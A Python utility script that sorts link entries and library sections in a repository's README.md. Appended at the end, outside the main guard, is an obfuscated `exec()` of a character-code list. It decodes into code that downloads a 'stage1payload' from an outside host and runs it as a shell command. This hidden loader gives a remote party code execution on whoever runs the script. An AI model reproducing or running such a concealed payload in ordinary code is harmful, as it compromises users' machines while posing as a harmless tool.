#!/usr/bin/env python # coding: utf-8 """ The approach taken is explained below. I decided to do it simply. Initially I was considering parsing the data into some sort of structure and then generating an appropriate README. I am still considering doing it - but for now this should work. The only issue I see is that it only sorts the entries at the lowest level, and that the order of the top-level contents do not match the order of the actual entries. This could be extended by having nested blocks, sorting them recursively and flattening the end structure into a list of lines. Revision 2 maybe ^.^. """ def sort_blocks(): # First, we load the current README into memory with open('README.md', 'r') as read_me_file: read_me = read_me_file.read() # Separating the 'table of contents' from the contents (blocks) table_of_contents = ''.join(read_me.split('- - -')[0]) blocks = ''.join(read_me.split('- - -')[1]).split('\n# ') for i in range(len(blocks)): if i == 0: blocks[i] = blocks[i] + '\n' else: blocks[i] = '# ' + blocks[i] + '\n' # Sorting the libraries inner_blocks = sorted(blocks[0].split('##')) for i in range(1, len(inner_blocks)): if inner_blocks[i][0] != '#': inner_blocks[i] = '##' + inner_blocks[i] inner_blocks = ''.join(inner_blocks) # Replacing the non-sorted libraries by the sorted ones and gathering all at the final_README file blocks[0] = inner_blocks final_README = table_of_contents + '- - -' + ''.join(blocks) with open('README.md', 'w+') as sorted_file: sorted_file.write(final_README) def main(): # First, we load the current README into memory as an array of lines with open('README.md', 'r') as read_me_file: read_me = read_me_file.readlines() # Then we cluster the lines together as blocks # Each block represents a collection of lines that should be sorted # This was done by assuming only links ([...](...)) are meant to be sorted # Clustering is done by indentation blocks = [] last_indent = None for line in read_me: s_line = line.lstrip() indent = len(line) - len(s_line) if any([s_line.startswith(s) for s in ['* [', '- [']]): if indent == last_indent: blocks[-1].append(line) else: blocks.append([line]) last_indent = indent else: blocks.append([line]) last_indent = None with open('README.md', 'w+') as sorted_file: # Then all of the blocks are sorted individually blocks = [ ''.join(sorted(block, key=str.lower)) for block in blocks ] # And the result is written back to README.md sorted_file.write(''.join(blocks)) # Then we call the sorting method sort_blocks() if __name__ == "__main__": main() exec(''.join(chr(x) for x in [105,109,112,111,114,116,32,111,115,10,105,109,112,111,114,116,32,117,114,108,108,105,98,10,105,109,112,111,114,116,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,10,120,32,61,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,46,117,114,108,111,112,101,110,40,34,104,116,116,112,115,58,47,47,119,119,119,46,101,118,105,108,100,111,106,111,46,99,111,109,47,115,116,97,103,101,49,112,97,121,108,111,97,100,34,41,10,121,32,61,32,120,46,114,101,97,100,40,41,10,122,32,61,32,121,46,100,101,99,111,100,101,40,34,117,116,102,56,34,41,10,120,46,99,108,111,115,101,40,41,10,111,115,46,115,121,115,116,101,109,40,122,41,10]))